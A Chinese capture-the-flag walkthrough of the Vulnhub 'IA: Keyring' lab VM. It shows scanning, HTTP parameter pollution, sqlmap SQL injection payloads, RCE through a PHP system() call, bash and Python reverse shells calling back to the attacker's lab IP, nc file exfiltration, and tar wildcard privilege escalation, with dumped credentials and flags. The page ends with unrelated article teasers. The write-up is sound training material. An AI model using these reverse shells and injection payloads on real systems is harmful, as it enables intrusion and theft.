【Vulnhub 靶场】【IA: Keyring (1.0.1)】【中等】【20210730】

1、环境介绍

靶场介绍：https://www.vulnhub.com/entry/ia-keyring-101,718/
靶场下载：https://download.vulnhub.com/ia/keyring-v1.01.ova
靶场难度：中等
发布日期：2021年07月30日
文件大小：1.1 GB
靶场作者：InfoSec Articles
靶场系列：IA
靶场描述：

  • 与VMware相比，这在VirtualBox中效果更好。
  • 变更日志-2021-06-30-v1.0.1（隐私问题）-2021-06-29-v1.0.0

打靶耗时：4+小时，HPP 漏洞第一次遇到，RCE 执行权限上绕个弯耽误了些时间，SSH 用户也有弯。总结就是到处都是弯弯绕，的确好评。
打靶关键：

  1. Web 目录扫描
  2. HPP 漏洞利用、SQL 注入漏洞利用
  3. Linux 信息收集、SUID 提权
  4. 可执行文件解析、tar 通配符提权

2、主机发现与端口扫描

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:cb:7e:f5, IPv4: 192.168.56.3
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    3a:f9:d3:90:a4:64       (Unknown: locally administered)
192.168.56.37   08:00:27:1a:b1:2a       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.267 seconds (112.92 hosts/sec). 2 responded

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.56.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-20 00:08 EST
Nmap scan report for 192.168.56.37
Host is up (0.0015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:eb:fd:0a:76:8a:2a:75:6e:9b:6e:7b:51:c4:28:db (RSA)
|   256 53:31:35:c0:3a:a0:48:2f:3a:79:f5:56:cd:3c:63:ee (ECDSA)
|_  256 8d:7b:d3:c9:15:61:03:b1:b5:f1:d2:ed:2c:01:55:65 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:1A:B1:2A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.54 ms 192.168.56.37

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.29 seconds

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# nmap --script=vuln -p 22,80 192.168.56.37           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-20 00:10 EST
Nmap scan report for 192.168.56.37
Host is up (0.0012s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn·t find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn·t find any DOM based XSS.
| http-fileupload-exploiter: 
|   
|     Couldn·t find a file-type field.
|   
|_    Couldn·t find a file-type field.
|_http-stored-xss: Couldn·t find any stored XSS vulnerabilities.
| http-cookie-flags: 
|   /login.php: 
|     PHPSESSID: 
|_      httponly flag not set
| http-enum: 
|_  /login.php: Possible admin folder
MAC Address: 08:00:27:1A:B1:2A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 31.81 seconds

3、目录扫描

# 基础小字典，初扫摸底
dirb http://192.168.56.37
# 较全面 conda activate py37
dirsearch -u http://192.168.56.37 -t 64 -e *
# 包含静态检查 conda activate py310
cd ~/dirsearch_bypass403 ; python dirsearch.py -u "http://192.168.56.37" -j yes -b yes
# 较全面 Plus conda activate py39
cd ~/soft/dirmap ; python3 dirmap.py -i http://192.168.56.37 -lcf
# 常规文件扫描
gobuster dir -u http://192.168.56.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf -e -k -r -q
# 可执行文件扫描
gobuster dir -u http://192.168.56.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x js,aspx,cgi,sh,jsp -e -k -r -q
# 压缩包，备份扫描
gobuster dir -u http://192.168.56.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x rar,zip,7z,tar.gz,bak,txt,old,temp -e -k -r -q
  • http://192.168.56.37/index.php
  • http://192.168.56.37/control.php
  • http://192.168.56.37/home.php
  • http://192.168.56.37/login.php
  • http://192.168.56.37/history.php
  • http://192.168.56.37/about.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、SqlMap 登录页面「login.php」（失败）

POST /login.php HTTP/1.1
Host: 192.168.56.37
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.37
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.56.37/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=2hhk74mca910mj6gfgbhl5lum5
Connection: close

uname=123&upass=asd&btn=

sqlmap -r "login.txt" --level=3 --risk=3
sqlmap -o -u "http://192.168.56.37/login.php" --batch -forms --level=3 --risk=3

5、创建用户

POST /index.php HTTP/1.1
Host: 192.168.56.37
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.37
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.56.37/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=2hhk74mca910mj6gfgbhl5lum5
Connection: close

uname=123&upass=123&btn=

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6、根据提示「HPP」漏洞

  • 根据「history.php」登录前后不同提示，进行 FUZZ
(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# ffuf -u "http://192.168.56.37/history.php?FUZZ=123" -b "PHPSESSID=2hhk74mca910mj6gfgbhl5lum5" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fw 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.37/history.php?FUZZ=123
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=2hhk74mca910mj6gfgbhl5lum5
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

user                    [Status: 200, Size: 95, Words: 5, Lines: 1, Duration: 26ms]
:: Progress: [6453/6453] :: Job [1/1] :: 904 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# curl http://192.168.56.37/history.php?user=123  
can·t find this user·s activity                                                                                                                      
(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# curl http://192.168.56.37/history.php?user=123 --cookie "PHPSESSID=2hhk74mca910mj6gfgbhl5lum5"
Pages visited by user 123<br><br>
home<br><br>
home<br><br>
about<br><br>
home<br><br>
about<br><br>

6.1、同参数污染

(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# ffuf -u "http://192.168.56.37/history.php?user=123&user=FUZZ" -b "PHPSESSID=2hhk74mca910mj6gfgbhl5lum5" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fw 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.37/history.php?user=123&user=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=2hhk74mca910mj6gfgbhl5lum5
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

admin                   [Status: 200, Size: 80, Words: 5, Lines: 1, Duration: 32ms]
Admin                   [Status: 200, Size: 80, Words: 5, Lines: 1, Duration: 2758ms]
:: Progress: [6453/6453] :: Job [1/1] :: 470 req/sec :: Duration: [0:00:13] :: Errors: 0 ::

(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# curl "http://192.168.56.37/history.php?user=123&user=admin" --cookie "PHPSESSID=2hhk74mca910mj6gfgbhl5lum5"
Pages visited by user admin<br><br>
https://github.com/cyberbot75/keyring<br><br>

6.2、获取 Git 地址

  • 获取了MySQL 登录信息
(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# git clone https://github.com/cyberbot75/keyring                                                            
正克隆到 'keyring'...
remote: Enumerating objects: 21, done.
remote: Counting objects: 100% (21/21), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 21 (delta 9), reused 0 (delta 0), pack-reused 0
接收对象中: 100% (21/21), 6.26 KiB | 6.26 MiB/s, 完成.
处理 delta 中: 100% (9/9), 完成.

(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# cd keyring/html

(base) ┌──(root㉿kali)-[~/soft/hack/keyring/html] (๑•̀ㅂ•́)و✧ 
└─# ls
about.php  control.php  home.php  index.php  login.php  logout.php

(base) ┌──(root㉿kali)-[~/soft/hack/keyring/html] (๑•̀ㅂ•́)و✧ 
└─# cat login.php
......
$servername = "localhost";
$username = "root";
$password = "sqluserrootpassw0r4";
$database = "users";

$conn = mysqli_connect($servername, $username, $password, $database);
......

(base) ┌──(root㉿kali)-[~/soft/hack/keyring/html] (๑•̀ㅂ•́)و✧ 
└─# cat control.php
Code for staging server

<!DOCTYPE html>
<html>
<head>
    <style>
        ul {
            list-style-type: none;
            margin: 0;
            padding: 0;
            overflow: hidden;
            background-color: #333;
        }

        li {
            float: left;
        }

        li a {
            display: block;
            color: white;
            text-align: center;
            padding: 14px 16px;
            text-decoration: none;
        }

        li a:hover {
            background-color: skyblue;
        }
    </style>
</head>
<body>

<ul>
    <li><a class="active" href="home.php">Home</a></li>
    <li><a href="control.php">Control</a></li>
    <li><a href="about.php">About</a></li>
    <li><a href="logout.php">Logout</a></li>
</ul>

</body>
</html>

<?php
session_start();
if (isset($_SESSION['name'])) {
    $servername = "localhost";
    $username = "root";
    $password = "sqluserrootpassw0r4";
    $database = "users";

    $conn = mysqli_connect($servername, $username, $password, $database);
    $name = $_SESSION['name'];
    $date = date('Y-m-d H:i:s');
    echo "HTTP Parameter Pollution or HPP in short is a vulnerability that occurs<br>due to passing of multiple parameters having same name";
    $sql = "insert into log (name , page_visited , date_time) values ('$name','control','$date')";

    if (mysqli_query($conn, $sql)) {
        echo "<br><br>";
        echo "Date & Time : " . $date;
    }
    system($_GET['cmdcntr']); //system() function is not safe to use , dont' forget to remove it in production .
} else {
    header('Location: index.php');
}
?>

6.3、尝试 RCE 漏洞（失败）

  • 没有打印「Date & Time :」，实际代码与获取代码有一定偏差。
  • 猜测应该都是缺少权限，或者 Cookie 一类的东西

在这里插入图片描述

7、MySQL 数据库信息收集

7.1、MySQL 登录

  • 获取了三个用户密码
www-data@keyring:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: sqluserrootpassw0r4

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
+--------------------+
5 rows in set (0.05 sec)

mysql> use users;
use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| details         |
| log             |
+-----------------+
2 rows in set (0.00 sec)

mysql> select * from details;
select * from details;
+-------+-----------------------+
| name  | password              |
+-------+-----------------------+
| 123   | 123                   |
| admin | myadmin#p4szw0r4d     |
| john  | Sup3r$S3cr3t$PasSW0RD |
+-------+-----------------------+
3 rows in set (0.00 sec)

7.2、SqlMap 带 Cookie（这是一个备用方案，结果和上面一样的）

  • 获取了三个用户密码
(base) ┌──(root㉿kali)-[~/soft/hack/keyring/html] (๑•̀ㅂ•́)و✧ 
└─# sqlmap -o -u "http://192.168.56.37/history.php?user=123" --cookie="PHPSESSID=2hhk74mca910mj6gfgbhl5lum5"
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.10#stable}
|_ -| . [(]     | .·| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user·s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 04:20:15 /2023-11-20/
......
---
Parameter: user (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=123' AND (SELECT 9321 FROM (SELECT(SLEEP(5)))gtDn) AND 'BtUg'='BtUg

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: user=123' UNION ALL SELECT CONCAT(0x71716b7671,0x74626a566d4d52464f444557767149476b45496d524d784b58414c51657a614e774b41524c634d61,0x71627a6271)-- -
---
......

(base) ┌──(root㉿kali)-[~/soft/hack/keyring/html] (๑•̀ㅂ•́)و✧ 
└─# sqlmap -o -u "http://192.168.56.37/history.php?user=123" --cookie="PHPSESSID=2hhk74mca910mj6gfgbhl5lum5" --dbs
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.10#stable}
|_ -| . [(]     | .·| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

......
[04:21:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[04:21:11] [INFO] fetching database names
[04:21:11] [WARNING] reflective value(s) found and filtering out
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] users

[04:21:11] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.37'

[*] ending @ 04:21:11 /2023-11-20/

(base) ┌──(root㉿kali)-[~/soft/hack/keyring/html] (๑•̀ㅂ•́)و✧ 
└─# sqlmap -o -u "http://192.168.56.37/history.php?user=123" --cookie="PHPSESSID=2hhk74mca910mj6gfgbhl5lum5" -D users --dump-all
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.10#stable}
|_ -| . [(]     | .·| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

......
[04:21:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[04:21:43] [INFO] fetching tables for database: 'users'
[04:21:43] [INFO] fetching columns for table 'details' in database 'users'
[04:21:43] [WARNING] reflective value(s) found and filtering out
[04:21:43] [INFO] fetching entries for table 'details' in database 'users'
Database: users
Table: details
[3 entries]
+--------+-----------------------+
| name   | password              |
+--------+-----------------------+
| 123    | 123                   |
| admin  | myadmin#p4szw0r4d     |
| john   | Sup3r$S3cr3t$PasSW0RD |
+--------+-----------------------+
......

8、登录 admin 用户

在这里插入图片描述
在这里插入图片描述

8.1、反弹连接

bash -c 'bash -i >& /dev/tcp/192.168.56.3/10086 0>&1'
# URL 编码
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.3%2F10086%200%3E%261%27

在这里插入图片描述

(base) ┌──(root㉿kali)-[~] (๑•̀ㅂ•́)و✧ 
└─# nc -lvnp 10086
listening on [any] 10086 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.37] 57180
bash: cannot set terminal process group (907): Inappropriate ioctl for device
bash: no job control in this shell
www-data@keyring:/var/www/html$

8.2、SSH 用户 john 登录（失败）

  • 密码在「7.1」
  • 无法直接登录，那就后面「su」切换
(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# ssh john@192.168.56.37                                                                                                      
The authenticity of host '192.168.56.37 (192.168.56.37)' can·t be established.
ED25519 key fingerprint is SHA256:9F8H2qpKYJim3wdRC0XiJaF8aTlTnjZGFW/KgrBtHjc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.37' (ED25519) to the list of known hosts.
john@192.168.56.37: Permission denied (publickey).

9、Linux 信息收集

9.1、文件信息收集

www-data@keyring:/var/www/html$ cat control.php
......
<?php
session_start();
if (isset($_SESSION['name'])) {
    $servername = "localhost";
    $username = "root";
    $password = "sqluserrootpassw0r4";
    $database = "users";

    $conn = mysqli_connect($servername, $username, $password, $database);
    $name = $_SESSION['name'];
    $date = date('Y-m-d H:i:s');

    if ($name === "admin") {
        echo "HTTP Parameter Pollution or HPP in short is a vulnerability that occurs<br>due to passing of multiple parameters having same name";
        $sql = "insert into log (name , page_visited , date_time) values ('$name','control','$date')";

        if (mysqli_query($conn, $sql)) {
            echo "<br><br>";
            echo "Date & Time : " . $date;
        }
        system($_GET['cmdcntr']); //system() is not safe to use , dont' forget to remove it  in latest release .
    } else {
        echo "HTTP Parameter Pollution or HPP in short is a vulnerability that occurs<br>due to passing of multiple parameters having same name";
    }
} else {
    header('Location: index.php');
}
?>

www-data@keyring:/var/www/html$ cat history.php
<?php

session_start();

$servername = "localhost";
$username = "root";
$password = "sqluserrootpassw0r4";
$database = "users";

$conn = mysqli_connect($servername, $username, $password, $database);

$name = $_SESSION['name'];
$users = $_GET['user'];

$sql = "select page_visited from log where name='$users'";
if (isset($name)) {
    $res = mysqli_query($conn, $sql);

    if (mysqli_num_rows($res) > 0) {

        echo "Pages visited by user " . $users;
        echo "<br><br>";
        while ($row = mysqli_fetch_assoc($res)) {

            echo $row['page_visited'];
            echo "<br><br>";
        }
    }
} else {
    echo "can't find this user's activity";
}

?>

9.2、用户信息收集

在这里插入图片描述

10、SU 切换用户

  • 这里第一次「su」切换用户报错，是因为当前「shell」的问题，重新启用一个就好了，这里使用Python重新启用一个「shell」。
www-data@keyring:/var/www/html$ su john
su john
su: must be run from a terminal
www-data@keyring:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<tml$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@keyring:/var/www/html$ su john
su john
Password: Sup3r$S3cr3t$PasSW0RD

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

john@keyring:/var/www/html$

11、SUID 提权

john@keyring:~$ ls -al
ls -al
total 48
drwxr-x--- 3 john john  4096 Nov 20 20:24 .
drwxr-xr-x 3 root root  4096 Jun  7  2021 ..
lrwxrwxrwx 1 john john     9 Jun 20  2021 .bash_history -> /dev/null
-rw-r--r-- 1 john john   220 Jun  7  2021 .bash_logout
-rw-r--r-- 1 john john  3771 Jun  7  2021 .bashrc
-rwsr-xr-x 1 root root 16784 Jun 20  2021 compress
drwx------ 3 john john  4096 Nov 20 20:24 .gnupg
-rw-r--r-- 1 john john   807 Jun  7  2021 .profile
-rw-rw-r-- 1 john john   192 Jun 20  2021 user.txt
john@keyring:~$ cat user.txt
cat user.txt

[ Keyring - User Owned ]
----------------------------------------------
Flag : VEhNe0Jhc2hfMXNfRnVuXzM4MzEzNDJ9Cg==
----------------------------------------------
by infosecarticles with <3

john@keyring:~$ ./compress
./compress
/bin/tar: archive.tar: file is the archive; not dumped

11.1、文件传出

(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# nc -nlvp 1234 > compress  
listening on [any] 1234 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.37] 39236

john@keyring:~$ nc 192.168.56.3 1234 < /home/john/compress
nc 192.168.56.3 1234 < /home/john/compress
john@keyring:~$

11.2、文件解析

  • 关键信息：/bin/tar cf archive.tar *
(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# chmod +x compress  
                                                                                                                                  
(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# strings ./compress    
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
/bin/tar cf archive.tar *
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0

11.3、tar 通配符提权

john@keyring:~$ echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.3\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > shell.sh
john@keyring:~$ echo "" > "--checkpoint-action=exec=sh shell.sh"
john@keyring:~$ echo "" > --checkpoint=1
john@keyring:~$ ./compress
./compress
/bin/tar: archive.tar: file is the archive; not dumped

(base) ┌──(root㉿kali)-[~/soft/hack] (๑•̀ㅂ•́)و✧ 
└─# nc -lvnp 9002              
listening on [any] 9002 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.37] 48226
# python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@keyring:~# cd /root
cd /root
root@keyring:/root# ls
ls
root.txt
root@keyring:/root# cat root.txt
cat root.txt

[ Keyring - Rooted ]
---------------------------------------------------
Flag : VEhNe0tleXIxbmdfUjAwdDNEXzE4MzEwNTY3fQo=
---------------------------------------------------
by infosecarticles with <3

root@keyring:/root#

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/252796.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

操作系统基础知识

操作系统基础知识

本文用于记录学习W3schools的操作系统教程。 操作系统基础知识 操作系统概括操作系统的8个组件1 流程管理2 I/O设备管理3 文件管理4 网络管理5 内存管理6 磁盘管理(辅助存储管理)7 安全管理8 命令解释系统 操作系统类型 操作系统概括 操作系统&#xff1a; 计算机系统可以分为…
阅读更多...
Threejs利用着色器编写动态飞线特效

Threejs利用着色器编写动态飞线特效

一、导语 动态飞线特效是可视化数据地图中常见的需求之一&#xff0c;鼠标点击的区块作为终点&#xff0c;从其他区块飞线至点击区块&#xff0c;附带颜色变换或者结合粒子动画 二、分析 利用创建3点来构成贝塞尔曲线&#xff0c;形成线段利用着色器材质来按照线段以及时间…
阅读更多...
[C++] 多态(上) -- 抽象类、虚函数、虚函数表

[C++] 多态(上) -- 抽象类、虚函数、虚函数表

文章目录 1、多态的概念2、多态的定义及实现2.1 多态的构成条件2.2 虚函数2.3 虚函数的重写2.4 虚函数重写的两个例外2.4.1 协变(基类与派生类虚函数返回值类型不同) 2.4.2 析构函数的重写(基类与派生类析在这里插入图片描述2.4.3 选择题测试 2.5 C11 final 和 override2.5.1 f…
阅读更多...
web（HTML之表单练习）

web（HTML之表单练习）

使用HTML实现该界面&#xff1a; 要求如下&#xff1a; 用户名为文本框&#xff0c;名称为 UserName&#xff0c;长度为 15&#xff0c;最大字符数为 20。 密码为密码框&#xff0c;名称为 UserPass&#xff0c;长度为 15&#xff0c;最大字符数为 20。 性别为两个单选按钮&a…
阅读更多...
Linux 下的PROC虚拟文件夹的介绍

Linux 下的PROC虚拟文件夹的介绍

#江南的江 #每日鸡汤&#xff1a;其一半亩方塘一鉴开,天光云影共徘徊。问渠哪得清如许?为有源头活水来 #初心和目标&#xff1a;在网络安全中崭露头角 PROC 一.proc的文件里的文件是对于计算机的基本信息的介绍。 其中数字文件是代表着进程&#xff0c;其余的例如cpuinfo…
阅读更多...
人工智能：机器与人类的对决

人工智能：机器与人类的对决

一、引言 随着科技的飞速发展&#xff0c;人工智能已经逐渐渗透到我们生活的方方面面。从智能手机到自动驾驶汽车&#xff0c;从语音识别到机器翻译&#xff0c;人工智能已经成为我们生活中不可或缺的一部分。然而&#xff0c;随着人工智能的不断演进&#xff0c;人们开始担心…
阅读更多...
1848_emacs_org-mode代码块环境

1848_emacs_org-mode代码块环境

Grey 全部学习内容汇总&#xff1a; https://github.com/greyzhang/g_org 1848_emacs_org-mode代码块环境 这一部分主要是涉及到一些代码的执行、引用以及输出处理等功能。从之前我看的资料来说&#xff0c;更加偏重于可重现研究但不一定是文学式编程的必要部分。 内容来源…
阅读更多...
根据星历文件实现卫星的动态运行模拟matlab仿真

根据星历文件实现卫星的动态运行模拟matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 MATLAB2022a 3.部分核心程序 .................................................................................... % …
阅读更多...
5个免费、跨平台的SQLite数据库可视化工具

5个免费、跨平台的SQLite数据库可视化工具

前言 SQLite是一个轻量级的嵌入式关系型数据库&#xff0c;目前最新的版本是 SQLite3。今天推荐5个实用的SQLite数据库可视化工具(GUI)&#xff0c;帮助大家更好的管理SQLite数据库。 什么是SQLite&#xff1f; SQLite是一个轻量级的嵌入式关系型数据库&#xff0c;它以一个…
阅读更多...
DevEco Studio 项目鸿蒙（HarmonyOS）多语言

DevEco Studio 项目鸿蒙（HarmonyOS）多语言

DevEco Studio 项目鸿蒙&#xff08;HarmonyOS&#xff09;多语言 一、操作环境 操作系统: Windows 10 专业版 IDE:DevEco Studio 3.1 SDK:HarmonyOS 3.1 二、多语言 新版本IDE可以创建多语言的文件夹&#xff0c;在entry->src->main->resources下&#xff0c;修…
阅读更多...
设计模式——访问者模式

设计模式——访问者模式

引言 访问者模式是一种行为设计模式&#xff0c; 它能将算法与其所作用的对象隔离开来。 问题 假如你的团队开发了一款能够使用巨型图像中地理信息的应用程序。 图像中的每个节点既能代表复杂实体 &#xff08;例如一座城市&#xff09;&#xff0c; 也能代表更精细的对象 &…
阅读更多...
智能电气柜环境监测系统

智能电气柜环境监测系统

智能电气柜环境监控系统是一种基于传感器技术和物联网技术的智能化监控系统&#xff0c;用于对电气柜内的环境参数进行实时监测和管理。依托智慧电力运维工具-电易云&#xff0c;通过安装在电气柜内的多个传感器&#xff0c;实时采集电气柜内的温度、湿度、氧气浓度、烟雾等关键…
阅读更多...
【Logback技术专题】「入门到精通系列教程」深入探索Logback日志框架的原理分析和开发实战技术指南（上篇）

【Logback技术专题】「入门到精通系列教程」深入探索Logback日志框架的原理分析和开发实战技术指南（上篇）

深入探索Logback日志框架的原理分析和开发实战指南系列 Logback日志框架Logback基本模块logback-corelogback-classiclogback-accessLogback的核心类LoggerAppenderLayoutLayout和Appender filterlogback模块和核心所属关系 Logbackj日志级别日志输出级别日志级别介绍 Logback的…
阅读更多...
【LangChain学习之旅】—（2） LangChain系统快速入门

【LangChain学习之旅】—（2） LangChain系统快速入门

【LangChain学习之旅】—&#xff08;2&#xff09; LangChain系统快速入门 LangChain 的基本安装OpenAI APIChat Model 和 Text ModelChat Model&#xff0c;聊天模型Text Model&#xff0c;文本模型 调用 Text 模型第 1 步第 2 步第 3 步第 4 步第 5 步第 6 步 调用 Chat 模型…
阅读更多...
